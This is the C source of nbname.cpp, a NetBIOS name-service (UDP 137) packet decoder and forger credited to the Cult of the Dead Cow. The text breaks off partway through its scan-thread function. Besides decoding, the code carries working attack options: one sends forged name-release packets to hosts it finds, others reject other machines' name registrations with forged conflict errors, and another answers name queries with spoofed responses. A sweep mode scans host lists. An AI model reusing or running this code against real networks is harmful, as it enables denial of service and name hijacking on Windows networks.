// nbname.cpp - decodes NetBIOS name packets (UDP 137), with some other options // Copyright 2000 Sir Dystic of the Cult of the Dead Cow - sd@cultdeadcow.com // // For Win32 should be compiled with /DWIN32 /MT (use multi-threaded libraries) // If it complains about socklen_t try adding -Dsocklen_t=int // // Thanks to all the people who helped me with ideas, testing and making it work // under Unix, especially: // Optyx, FreqOut, Nyar, Netmask, T12, and many others I am too lame to remember /* Version history: v1.8 - July 29, 2000 Discussed nbname at Defcon v1.9 - August 1, 2000 Began keeping history Added /SCAN option Added /RETRY option Changed /NOBOOTY option to /ALLOW and /DENY (sorry all you anal lovers) Made commandline options case-insensitive (thanks missnglnk for being aware of strcasecmp() which nobody else mentioned to me) Added /RESPOND option */ #ifdef WIN32 // comment the following line to make a Winsock 1.1 compile #define WINSOCK2 #pragma comment(linker, "/SUBSYSTEM:CONSOLE") #define CLOSESOCKET(x) closesocket(x) #define GETSOCKETERROR() WSAGetLastError() #define GETRANDSEED() GetTickCount() #define SLEEP(x) Sleep(x) #define CREATETHREAD(x, y) _beginthread(x, 0, y) #define EXITTHREAD() _endthread() #define STRICMP(x, y) stricmp(x, y) #define STRNICMP(x, y, z) strnicmp(x, y, z) #include #ifdef WINSOCK2 #include #include #pragma comment(lib, "ws2_32.lib") #else #include #include #pragma comment(lib, "wsock32.lib") #endif #include #include #endif // common includes #include #include #include #include #ifndef WIN32 #include #include #include #include #include #include #include #include #include typedef unsigned char BYTE, *LPBYTE; typedef unsigned short WORD, *LPWORD; typedef unsigned long DWORD, *LPDWORD; typedef unsigned long BOOL, *LPBOOL; typedef int SOCKET; typedef struct sockaddr SOCKADDR; typedef struct sockaddr_in SOCKADDR_IN; typedef SOCKADDR *LPSOCKADDR; typedef SOCKADDR_IN *LPSOCKADDR_IN; typedef struct hostent HOSTENT; typedef HOSTENT *LPHOSTENT; typedef unsigned long ULONG; typedef unsigned short USHORT; typedef long LONG; #define GETSOCKETERROR() 0 #define GETRANDSEED() clock() #define CLOSESOCKET(x) close(x) #define SLEEP(x) usleep(x*1000) #define STRICMP(x, y) strcasecmp(x, y) #define STRNICMP(x, y, z) strncasecmp(x, y, z) #define MAKEWORD(a, b) ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8)) #define MAKEULONG(l, h) ((ULONG)(((USHORT)(l)) | ((ULONG)((USHORT)(h))) << 16)) #define MAKELONG(l, h) ((LONG)MAKEULONG(l, h)) #define FALSE 0 #define TRUE 1 #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #endif #pragma pack(1) #define NETBIOSNAMEPORT 137 #define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // uncomment the following line to display statistics info (windows and samba boxes seem to always set this info to 0s) //#define STUFFTHATSUSUALLYALLZERO BOOL g_Astat = FALSE; BOOL g_Conflict = FALSE; BOOL g_FindAll = FALSE; BOOL g_Reverse = FALSE; BOOL g_NoLocal = FALSE; BOOL g_NoLocalNet = FALSE; char *g_OutServsFile = NULL; char *g_OutAllFile = NULL; char *g_ASOutFile = NULL; char *g_SpawnCommand = NULL; char *g_SpawnArgs = NULL; char *g_ScanFile = NULL; char *g_AllowName = NULL; char *g_DenyName = NULL; char *g_RespondName = NULL; DWORD g_TargetIP = INADDR_NONE; DWORD g_LocalIP = INADDR_NONE; DWORD g_BroadcastIP = INADDR_BROADCAST; DWORD g_NetmaskIP = 0; DWORD g_SweepStartIP = 0; DWORD g_SweepEndIP = 0; DWORD g_PacketDelay = 100; DWORD g_ReceiveTimeout = 0; WORD g_LocalPort = NETBIOSNAMEPORT; int g_Retries = 3; #define ONT_BNODE 0 #define ONT_PNODE 1 #define ONT_MNODE 2 #define ONT_HNODE 3 typedef struct { BYTE UnitID[6]; // MAC address BYTE Jumpers; BYTE TestResult; WORD Version; WORD StatsPeriod; WORD NumCRCs; WORD NumAlignmentErrors; WORD NumCollisions; WORD NumSendAborts; DWORD NumGoodSends; DWORD NumGoodRcvs; WORD NumRetransmits; WORD NumResourceConditions; WORD NumFreeCommandBlocks; WORD NumCommandBlocks; WORD NumMaxCommandBlocks; WORD NumPendingSessions; WORD NumMaxPendingSessions; WORD NumMaxTotalSessions; WORD SessionDataPacketSize; } NETBIOSSTATS, *PNETBIOSSTATS; typedef struct { WORD Reserved:13; WORD ONT:2; // Owner Node Type: // 00 = B node // 01 = P node // 10 = M node // 11 = Reserved for future use // For registration requests this is the // claimant's type. // For responses this is the actual owner's type. WORD fGroup:1; // Group Name Flag. // If one (1) then the RR_NAME is a GROUP NetBIOS name. // If zero (0) then the RR_NAME is a UNIQUE NetBIOS name. } NBFLAGS; typedef struct { WORD Reserved:9; // Reserved for future use. Must be zero (0). WORD fPermanent:1; // Permanent Name Flag. If one (1) then entry is for the permanent node name. // Flag is zero (0) for all other names. WORD fActive:1; // Active Name Flag. All entries have this flag set to one (1). WORD fConflict:1; // Conflict Flag. If one (1) then name on this node is in conflict. WORD fDeregister:1; // Deregister Flag. If one (1) then this name is in the process of being deleted. WORD OwnerType:2; // Owner Node Type: // 00 = B node // 01 = P node // 10 = M node // 11 = Reserved for future use WORD fGroupName:1; // Group Name Flag. // If one (1) then the name is a GROUP NetBIOS name. // If zero (0) then it is a UNIQUE NetBIOS name. } NETBIOSNAMEFLAGS; typedef struct { char Name[15]; // uncompressed name BYTE BinVal; // binary value WORD Flags; // flags } NETBIOSNAME, *PNETBIOSNAME; #define RCODE_FMTERR 0x1 #define RCODE_SRVERR 0x2 #define RCODE_NAMERR 0x3 #define RCODE_IMPERR 0x4 #define RCODE_RFSERR 0x5 #define RCODE_ACTERR 0x6 #define RCODE_CFTERR 0x7 typedef struct { WORD Type; // type of recource record WORD Class; // class of resource record (always IN) DWORD TTL; // Time to live WORD RDLength; // length of following resource data } RESOURCERECORDHEADER, *PRESOURCERECORDHEADER; #define RRTYPE_A 0x0001 #define RRTYPE_NS 0x0002 #define RRTYPE_NULL 0x000A #define RRTYPE_NB 0x0020 #define RRTYPE_NBSTAT 0x0021 #define RRCLASS_IN 0x0001 typedef struct { WORD RCode : 4; // response code WORD fNM_B : 1; // Broadcast flag WORD fNM_00 : 2; // reserved, always 0 WORD fNM_RA : 1; // Recursion Available flag WORD fNM_RD : 1; // Recursion Desired flag WORD fNM_TC : 1; // Truncation flag WORD fNM_AA : 1; // Authoratative answer flag WORD OpCode : 4; // Operation code WORD fResponse:1; // Response flag } OPCODEFLAGSRCODE; typedef struct { WORD TransactionID; // transaction id, responses match original packet, requests are random/sequential WORD OpcodeFlagsRcode; // opcode, flags and rcode WORD QDCount; // number of questions WORD ANCount; // number of answer resource records WORD NSCount; // number of name service resource records WORD ARCount; // number of athoratative resource records } NBNAMEHEADER, *PNBNAMEHEADER; #define OPCODE_QUERY 0 #define OPCODE_REGISTRATION 5 #define OPCODE_RELEASE 6 #define OPCODE_WACK 7 #define OPCODE_REFRESH 8 typedef struct{ BYTE Name[34]; // compressed name WORD Type; // question type WORD Class; // question class (always type IN - Internet) } QUESTION, *PQUESTION; #define QUESTION_TYPE_NB 0x0020 // general name request #define QUESTION_TYPE_NBSTAT 0x0021 // stats request #define QUESTION_CLASS_IN 0x0001 // internet class unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; void PrintNetbiosName(unsigned char *name) { BYTE BinVal; char PrintName[16]; memcpy(PrintName, name, 15); PrintName[15] = 0; BinVal = name[15]; printf("%15s <%02x>", PrintName, BinVal); } int NetbiosNameToString(char *dest, const BYTE *src, int PacketLeft) { int y; static unsigned char Name[32]; unsigned char UncompressedName[256]; unsigned char hexbuf[3]; char *ptr; BYTE len; // get length of string len = *src; if (len & 0xC0) // name pointer or other { len = 0; // just return last name read } else { if (len <= PacketLeft) { puts("[Short name, aborting]"); return 0; } memset(UncompressedName, 0, sizeof(UncompressedName)); memset(Name, ' ', sizeof(Name) ); memcpy(UncompressedName, src+1, len); for (y = 0; y < 16; y++) { hexbuf[0] = hexvals[UncompressedName[y*2] - 'A']; hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A']; hexbuf[2] = 0; Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16); } } memcpy(dest, (const char *)Name , 16); return (int)(len+2); } int StringToNetbiosName(char *dest, const char *src, BYTE binval) { int x, y; unsigned char Name[16]; unsigned char UncompressedName[256]; char hexbuf[2]; // set name to all zeros memset(Name, 0, sizeof(Name)); // get length of name x = strlen(src); // truncate at 15th char if (x > 15) x = 15; // copy up to 15 chars leaving the rest space padded memcpy(Name, src, x); // uppercase the name Name[15] = 0; for (y = 0; y < 15; y++) Name[y] = toupper((int)Name[y]); // set 16th binary char Name[15] = binval; UncompressedName[0] = 32; // convert each char to hex for (x = 0; x < 16; x++) sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] ); // add 'A' to each char for (x = 1; x <= 32; x++) { char *ptr; hexbuf[0] = UncompressedName[x]; hexbuf[1] = 0; UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);; } UncompressedName[33] = 0; #if 0 // add SCOPE_ID UncompressedName[33] = 7; memcpy((char *)&UncompressedName[34], "NETBIOS", 7); UncompressedName[41] = 3; memcpy((char *)&UncompressedName[42], "COM", 3); #endif // set the length x = 34; memcpy(dest, UncompressedName, x); return x; } DWORD FormPacket(unsigned char *buff, WORD TranID, BYTE Opcode, char *QuestionName, WORD QuestionType, BOOL fResponse, BOOL fBroadcast, BOOL fTruncated, BOOL fRecursionAvailable, BOOL fRecursionDesired, BOOL fAuthoratativeAnswer, WORD RCode, WORD QDCount, WORD ANCount, WORD NSCount, WORD ARCount, DWORD TargetIP, BOOL fGroup, BYTE ONT) { NBFLAGS nbflags; PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff; OPCODEFLAGSRCODE Wcode; BYTE *ptr, *firstnameptr = NULL; DWORD d; WORD w; memset(pnbnameheader, 0, sizeof(NBNAMEHEADER) ); pnbnameheader->TransactionID = TranID; // Transaction ID Wcode.fResponse = fResponse; // request not response Wcode.OpCode = Opcode; // operation code (command) Wcode.fNM_00 = 0; // always 0 Wcode.fNM_B = fBroadcast; // broadcast Wcode.fNM_RA = fRecursionAvailable; // always 0 for requests Wcode.fNM_RD = fRecursionDesired; // no recursion requested Wcode.fNM_TC = fTruncated; // not truncated Wcode.fNM_AA = fAuthoratativeAnswer;// always 0 for requests Wcode.RCode = RCode; pnbnameheader->OpcodeFlagsRcode = htons(*((WORD*)&Wcode)); pnbnameheader->QDCount = htons(QDCount); pnbnameheader->ANCount = htons(ANCount); pnbnameheader->ARCount = htons(ARCount); pnbnameheader->NSCount = htons(NSCount); ptr = (BYTE *)(pnbnameheader + 1); if (QDCount > 0) { PQUESTION pquestion = (PQUESTION)ptr; StringToNetbiosName((char *)pquestion->Name, QuestionName, QuestionName[15]); firstnameptr = pquestion->Name; pquestion->Type = htons(QuestionType); pquestion->Class = htons(QUESTION_CLASS_IN); ptr += sizeof(QUESTION); } if (ANCount > 0) { d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]); ptr += d; PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr; presrecordheader->Class = htons(RRCLASS_IN); presrecordheader->RDLength = htons(6); presrecordheader->TTL = 0; presrecordheader->Type = htons(RRTYPE_NB); ptr += sizeof(RESOURCERECORDHEADER); nbflags.fGroup = fGroup; nbflags.Reserved = 0; nbflags.ONT = ONT; memcpy(&w, &nbflags, sizeof(WORD) ); w = htons(w); memcpy(ptr, &w, sizeof(WORD)); ptr += sizeof(WORD); *((DWORD *)ptr) = TargetIP; ptr += sizeof(DWORD); } if (ARCount > 0) { if (firstnameptr == NULL) { d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]); ptr += d; } else { *((WORD *)ptr) = htons(0xC000 | (firstnameptr - buff)); ptr+=2; } PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr; presrecordheader->Class = htons(RRCLASS_IN); presrecordheader->RDLength = htons(6); presrecordheader->TTL = 0; presrecordheader->Type = htons(RRTYPE_NB); ptr += sizeof(RESOURCERECORDHEADER); nbflags.fGroup = fGroup; nbflags.Reserved = 0; nbflags.ONT = ONT; memcpy(&w, &nbflags, sizeof(WORD) ); w = htons(w); memcpy(ptr, &w, sizeof(WORD)); ptr += sizeof(WORD); *((DWORD *)ptr) = TargetIP ; ptr += sizeof(DWORD); } return (DWORD)(ptr - buff); } DWORD ProcessResourceRecord(const BYTE *ptr, int Type, SOCKET sock, LPSOCKADDR_IN psockaddr, int PacketLeft) { BYTE outbuff[1024]; char NameBuff[256]; WORD w, RRType, RRClass, RRRDLength, NameFlags, TranID; DWORD d, RRTTL; BYTE NumNames; BYTE BinVal; NETBIOSNAMEFLAGS NameFlagsStruct; NBFLAGS nbflags; int x; d = NetbiosNameToString(NameBuff, ptr, PacketLeft); if (d == 0) return 0; PrintNetbiosName((BYTE *)NameBuff); puts(""); ptr += d; if (PacketLeft - d < sizeof(RESOURCERECORDHEADER) || PacketLeft - d < sizeof(RESOURCERECORDHEADER) + ntohs(((PRESOURCERECORDHEADER)ptr)->RDLength) ) { puts("[Short record, aborting]"); return 0; } PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr; RRType = ntohs(presrecordheader->Type); RRClass = ntohs(presrecordheader->Class); RRTTL = ntohl(presrecordheader->TTL); RRRDLength = ntohs(presrecordheader->RDLength); ptr = (LPBYTE)(presrecordheader+1); switch (RRType) { case RRTYPE_A: printf("IP Address Resource Record:\n"); break; case RRTYPE_NS: printf("Name Service Resource Record:\n"); break; case RRTYPE_NULL: printf("NULL Resource Record:\n"); break; case RRTYPE_NB : printf("NetBIOS Name Service Resource Record:\n"); break; } if (g_FindAll && RRType == RRTYPE_NB && memcmp(NameBuff, WILDCARDNAME, 16) == 0) { d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, 0, 0, ONT_BNODE); sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) ); printf(" **** NBSTAT request packet sent\n"); } switch (RRType) { case RRTYPE_A: case RRTYPE_NS: break; case RRTYPE_NULL: case RRTYPE_NB : for (x = 0; x < RRRDLength / 6; x++) { memcpy(&w, ptr, sizeof(w) ); w = ntohs(w); memcpy(&nbflags, &w, sizeof(w) ); ptr += sizeof(WORD); printf("Owner Node Type: "); switch (nbflags.ONT) { case ONT_BNODE: printf("B-NODE "); break; case ONT_PNODE: printf("P-NODE "); break; case ONT_MNODE: printf("M-NODE "); break; case ONT_HNODE: printf("H-NODE "); } printf(" "); if (nbflags.fGroup) printf("GROUP "); else printf("UNIQUE "); printf(" - "); printf("IP: %u.%u.%u.%u", *ptr, *(ptr+1), *(ptr+2),*(ptr+3)); ptr+=4; puts(""); } break; case RRTYPE_NBSTAT: { FILE *outfile = NULL; printf("Node Status Resource Record:\n"); NumNames = *ptr; ptr++; PNETBIOSNAME pnetbiosname = (PNETBIOSNAME)ptr; if (NumNames > 0 && g_OutAllFile != NULL) { outfile = fopen(g_OutAllFile , "at"); if (outfile != NULL) { BinVal = pnetbiosname->BinVal; pnetbiosname->BinVal = 0; fprintf(outfile, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name); pnetbiosname->BinVal = BinVal; fclose(outfile); printf(" **** Machine added to %s\n", g_OutAllFile ); outfile = NULL; } } if (g_ASOutFile != NULL) { outfile = fopen(g_ASOutFile, "at"); if (outfile != NULL) { time_t curtime = time(NULL); fprintf(outfile, "ASTAT response from %s at %s", inet_ntoa(psockaddr->sin_addr), ctime(&curtime) ); } } for (w = 0; w < NumNames; w++) { char *tptr; BinVal = pnetbiosname->BinVal; pnetbiosname->BinVal = 0; printf("%s <%02x> ", pnetbiosname->Name, BinVal ); if (outfile != NULL) fprintf(outfile, "%s <%02x> ", pnetbiosname->Name, BinVal ); pnetbiosname->BinVal = BinVal; NameFlags = ntohs(pnetbiosname->Flags); memcpy(&NameFlagsStruct, &NameFlags, sizeof(NameFlags) ); if (NameFlagsStruct.fActive) tptr = "ACTIVE "; else tptr = "INACTIVE "; printf("%s", tptr); if (outfile != NULL) fprintf(outfile, "%s", tptr); if (NameFlagsStruct.fGroupName) tptr = "GROUP "; else tptr = "UNIQUE "; printf("%s", tptr); if (outfile != NULL) fprintf(outfile, "%s", tptr); if (NameFlagsStruct.fPermanent) tptr = "PERMANENT "; else tptr = "NOTPERM "; printf("%s", tptr); if (outfile != NULL) fprintf(outfile, "%s", tptr); if (NameFlagsStruct.fConflict) tptr = "INCONFLICT "; else tptr = "NOCONFLICT "; printf("%s", tptr); if (outfile != NULL) fprintf(outfile, "%s", tptr); if (NameFlagsStruct.fDeregister) tptr = "DEREGISTERED "; else tptr = "NOTDEREGED "; printf("%s", tptr); if (outfile != NULL) fprintf(outfile, "%s", tptr); switch (NameFlagsStruct.OwnerType) { case ONT_BNODE: tptr = "B-NODE "; break; case ONT_PNODE: tptr = "P-NODE "; break; case ONT_MNODE: tptr = "M-NODE "; break; case ONT_HNODE: tptr = "H-NODE "; } printf("%s\n", tptr); if (outfile != NULL) fprintf(outfile, "%s\n", tptr); if (!NameFlagsStruct.fGroupName && BinVal == 0x20 ) { if (g_OutServsFile != NULL) { FILE *outfile2 = fopen(g_OutServsFile, "at"); if (outfile2 != NULL) { pnetbiosname->BinVal = 0; fprintf(outfile2, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name); pnetbiosname->BinVal = BinVal; fclose(outfile2); printf(" **** Machine added to %s\n", g_OutServsFile ); } } if (g_SpawnCommand != NULL) { char buff[1024]; pnetbiosname->BinVal = 0; sprintf(buff, "%s", inet_ntoa(psockaddr->sin_addr)); #ifdef WIN32 if (_spawnlpe(_P_NOWAIT, g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL, NULL) == -1) printf(" *** Error spawning \"%s\"\n", g_SpawnCommand); else { printf(" **** Spawned \"%s\"\n", g_SpawnCommand); } #else if (fork() == 0) if (execlp(g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL) == -1 ) { printf(" *** Error spawning \"%s %s %s %s\"\n", g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff ); exit(0); } #endif pnetbiosname->BinVal = BinVal; SLEEP(20); } } if (g_Conflict && !NameFlagsStruct.fConflict ) { TranID = rand(); d = FormPacket(outbuff, TranID, OPCODE_RELEASE, pnetbiosname->Name, QUESTION_TYPE_NB, FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 1, psockaddr->sin_addr.s_addr, NameFlagsStruct.fGroupName, NameFlagsStruct.OwnerType); sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) ); printf(" **** Name release sent to %s\n", inet_ntoa(psockaddr->sin_addr) ); } pnetbiosname++; } PNETBIOSSTATS pnetbiosstats = (PNETBIOSSTATS)pnetbiosname; printf("MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] ); if (outfile != NULL) fprintf(outfile, "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] ); #ifdef STUFFTHATSUSUALLYALLZERO printf("\nStatistics:\n"); printf("Jumpers: 0x%02x\n", pnetbiosstats->Jumpers); printf("Test result: 0x%02x\n", pnetbiosstats->TestResult); printf("Version: %d.%d\n", HIBYTE(pnetbiosstats->Version), LOBYTE(pnetbiosstats->Version) ); printf("Stats period: 0x%04x\n", ntohs(pnetbiosstats->StatsPeriod) ); printf("Num CRCs: %u\n", ntohs(pnetbiosstats->NumCRCs ) ); printf("Num Alignment errs: %u\n", ntohs(pnetbiosstats->NumAlignmentErrors ) ); printf("Num Collisions: %u\n", ntohs(pnetbiosstats->NumCollisions ) ); printf("Num Send Aborts: %u\n", ntohs(pnetbiosstats->NumSendAborts ) ); printf("Num Good Sends: %u\n", ntohl(pnetbiosstats->NumGoodSends ) ); printf("Num Good Receives: %u\n", ntohl(pnetbiosstats->NumGoodRcvs ) ); printf("Num Retransmits: %u\n", ntohs(pnetbiosstats->NumRetransmits ) ); printf("Num Resource Conditions: %u\n", ntohs(pnetbiosstats->NumResourceConditions ) ); printf("Free Command Blocks: %u\n", ntohs(pnetbiosstats->NumFreeCommandBlocks ) ); printf("Total Command Blocks: %u\n", ntohs(pnetbiosstats->NumCommandBlocks ) ); printf("Max Command Blocks %u\n", ntohs(pnetbiosstats->NumMaxCommandBlocks ) ); printf("Pending Sessions: %u\n", ntohs(pnetbiosstats->NumPendingSessions ) ); printf("Max Pending Sessions: %u\n", ntohs(pnetbiosstats->NumMaxPendingSessions ) ); printf("Max Total Sessions: %u\n", ntohs(pnetbiosstats->NumMaxTotalSessions ) ); printf("Session Data Packet Size:%u\n", ntohs(pnetbiosstats->SessionDataPacketSize ) ); #endif if (outfile != NULL) { fclose(outfile); outfile = NULL; } } break; default: printf("Unknown resource record type: 0x%04x\n", RRType); break; } return d + RRRDLength + sizeof(RESOURCERECORDHEADER); } DWORD ProcessPacket(char *buff, int packetsize, SOCKET sock, LPSOCKADDR_IN psockaddr) { char NameBuff[256]; PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff; OPCODEFLAGSRCODE Wcode; WORD w, QDCount, ANCount, NSCount, ARCount, RCode, OPCode; BOOL fResponse, fBroadcast, fRecursionAvailable, fRecursionDesired, fTruncated, fAuthoratativeAnswer; const BYTE *ptr; DWORD d; if (packetsize < sizeof(NBNAMEHEADER) ) { puts("[Short packet, aborting]"); return 0; } QDCount = ntohs(pnbnameheader->QDCount); ANCount = ntohs(pnbnameheader->ANCount); ARCount = ntohs(pnbnameheader->ARCount); NSCount = ntohs(pnbnameheader->NSCount); w = ntohs(pnbnameheader->OpcodeFlagsRcode); memcpy(&Wcode, &w, sizeof(w) ); RCode = Wcode.RCode; OPCode = Wcode.OpCode; fResponse = Wcode.fResponse; fBroadcast = Wcode.fNM_B; fRecursionAvailable = Wcode.fNM_RA; fRecursionDesired = Wcode.fNM_RD; fTruncated = Wcode.fNM_TC; fAuthoratativeAnswer = Wcode.fNM_AA; ptr = (const BYTE *)(pnbnameheader+1); if (RCode != 0) { printf("RCode: "); switch (RCode) { case RCODE_FMTERR: printf("Format Error: Request was invalidly formatted"); break; case RCODE_SRVERR: printf("Server Failure: Problem with NBNS, cannot process name"); break; case RCODE_NAMERR: printf("Name Error: The name requested does not exist."); break; case RCODE_IMPERR: printf("Unsupported Request Error"); break; case RCODE_RFSERR: printf("Refused Error. For policy reasons server will not register this name from this host."); break; case RCODE_ACTERR: printf("Active Error. Name is owned by another node."); break; case RCODE_CFTERR: printf("Name in Conflict Error. A UNIQUE name is owned by more than one node."); break; default: printf("Unknown RCODE! 0x%04x", RCode); break; } puts(""); } printf("OPCode: "); switch (OPCode) { case OPCODE_QUERY: printf("QUERY"); break; case OPCODE_REGISTRATION: printf("REGISTRATION"); break; case OPCODE_RELEASE: printf("RELEASE"); break; case OPCODE_WACK: printf("WACK"); break; case OPCODE_REFRESH: printf("REFRESH"); break; default: printf("Unknown OPCODE! 0x%04x", OPCode); break; } puts(""); printf("Flags: "); if (fResponse) printf("Response "); if (fBroadcast) printf("Broadcast "); if (fRecursionAvailable) printf("RecursionAvailable "); if (fRecursionDesired) printf("RecursionDesired "); if (fTruncated) printf("Truncated "); if (fAuthoratativeAnswer) printf("AuthoratativeAnswer "); puts(""); // all packets I've seen have no more than 1 of any type of record if (QDCount > 1 || ANCount > 1 || NSCount > 1 || ARCount > 1) { puts("[Invalid record count, aborting]"); return 0; } for (w = 0; w < QDCount; w++) { printf("Question[%d]:\n", w); if (packetsize - (int)((char *)ptr - buff) < sizeof(QUESTION)) { puts("[Short packet, aborting]"); return 0; } PQUESTION pquestion = (PQUESTION)ptr; d = NetbiosNameToString(NameBuff, pquestion->Name, (char *)ptr - buff); ptr += sizeof(QUESTION); PrintNetbiosName((BYTE *)NameBuff); puts(""); switch (ntohs(pquestion->Type)) { case QUESTION_TYPE_NB: printf("General name request"); break; case QUESTION_TYPE_NBSTAT: printf("Netbios Stats request"); break; default: printf("Unknown query type:0x%04x", ntohs(pquestion->Type) ); break; } puts(""); if (ntohs(pquestion->Class) != QUESTION_CLASS_IN ) printf("Class != TYPE INTERNET!\n"); if (g_Reverse && !fResponse && ntohs(pquestion->Type) == QUESTION_TYPE_NBSTAT) { BYTE outbuff[1024]; d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, psockaddr->sin_addr.s_addr, 0, ONT_BNODE); sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) ); printf(" **** NBSTAT QUERY packet sent to %s\n", inet_ntoa(psockaddr->sin_addr)); } if (g_RespondName != NULL && !fResponse && OPCode == OPCODE_QUERY && ntohs(pquestion->Type) == QUESTION_TYPE_NB) { BYTE outbuff[1024]; BOOL DoResponce = FALSE; if ( strcmp(g_RespondName, "*") == 0 || STRNICMP(NameBuff, g_RespondName, strlen(g_RespondName)) == 0) DoResponce = TRUE; else if (access(g_RespondName, 3) == 0) { FILE *InFile = fopen(g_RespondName, "rt"); if (InFile == NULL) printf("Unable to open %s\n", g_RespondName); else { char InBuff[1024]; while (DoResponce == FALSE && fgets(InBuff, 1024, InFile) != NULL) { char *p = strchr(InBuff, '\n'); if (p) *p = 0; if (STRNICMP(NameBuff, InBuff, strlen(InBuff)) == 0) DoResponce = TRUE; } fclose(InFile); } } if (DoResponce) { d = FormPacket(outbuff, pnbnameheader->TransactionID, OPCODE_QUERY, NameBuff, QUESTION_TYPE_NB, TRUE, FALSE, FALSE, FALSE, TRUE, TRUE, 0, 0, 1, 0, 0, psockaddr->sin_addr.s_addr, 0, ONT_BNODE); sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) ); printf(" **** QUERY from %s responded to for name: ", inet_ntoa(psockaddr->sin_addr)); PrintNetbiosName((BYTE *)NameBuff); puts(""); } } if (g_AllowName != NULL || g_DenyName != NULL) { if (OPCode == OPCODE_REGISTRATION && ntohs(pquestion->Type) == QUESTION_TYPE_NB) { BOOL DoDeny = FALSE; if (g_DenyName != NULL) { DoDeny = TRUE; if (strncmp(g_DenyName, "*", 1) == 0 || STRNICMP(NameBuff, g_DenyName, strlen(g_DenyName)) == 0) DoDeny = FALSE; else if (access(g_DenyName, 4) == 0) { FILE *InFile = fopen(g_DenyName, "rt"); char namecheckbuff[1024]; if (InFile == NULL) { printf(" **** Unable to open %s\n", g_DenyName); DoDeny = FALSE; } else { while (DoDeny == TRUE && fgets(namecheckbuff, 1024, InFile) != NULL) { char *p = strchr(namecheckbuff, '\n'); if (p) *p = 0; if (STRNICMP(namecheckbuff, NameBuff, strlen(namecheckbuff)) == 0) DoDeny = FALSE; } fclose(InFile); } } } if (g_AllowName != NULL) { DoDeny = FALSE; if (STRNICMP(NameBuff, g_AllowName, strlen(g_AllowName)) == 0) DoDeny = TRUE; else if (access(g_AllowName, 4) == 0) { FILE *InFile = fopen(g_AllowName, "rt"); char namecheckbuff[1024]; if (InFile == NULL) printf(" **** Unable to open %s\n", g_AllowName); else { while (DoDeny == FALSE && fgets(namecheckbuff, 1024, InFile) != NULL) { char *p = strchr(namecheckbuff, '\n'); if (p) *p = 0; if (STRNICMP(namecheckbuff, NameBuff, strlen(namecheckbuff)) == 0) DoDeny = TRUE; } fclose(InFile); } } } BYTE outbuff[1024]; WORD Rcode; if (fRecursionDesired) Rcode = RCODE_CFTERR; else Rcode = RCODE_ACTERR; d = FormPacket(outbuff, pnbnameheader->TransactionID, OPCODE_REGISTRATION, NameBuff, QUESTION_TYPE_NB, TRUE, FALSE, FALSE, TRUE, TRUE, TRUE, Rcode, 0, 1, 0, 0, MAKELONG(rand(), rand()) , 0, ONT_BNODE); sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) ); printf(" **** DENY packet sent\n"); } } } for (w = 0; w < ANCount; w++) { printf("Answer[%d]:\n", w); d = ProcessResourceRecord(ptr, 1, sock, psockaddr, (char *)ptr - buff); if (d == 0) return 0; ptr+=d; } for (w = 0; w < NSCount; w++) { printf("Authority record[%d]:\n", w); d = ProcessResourceRecord(ptr, 2, sock, psockaddr, (char *)ptr - buff); if (d == 0) return 0; ptr+=d; } for (w = 0; w < ARCount; w++) { printf("Additional record[%d]:\n", w); d = ProcessResourceRecord(ptr, 3, sock, psockaddr, (char *)ptr - buff); if (d == 0) return 0; ptr+=d; } return 0; } #ifdef WIN32 void __cdecl ScanLoopThread(void *parg) #else void *ScanLoopThread(void *parg) #endif { FILE *infile = NULL; SOCKADDR_IN sockaddr; SOCKET udpsock = *((SOCKET *)parg); char buff[1024]; unsigned char outbuff[1024]; DWORD d; int retry; infile = fopen(g_ScanFile, "rt"); if (infile == NULL) { printf(" ***** Error opening %s, scan aborted.\n", g_ScanFile); } else { d = FormPacket(outbuff, rand(), OPCODE_QUERY, 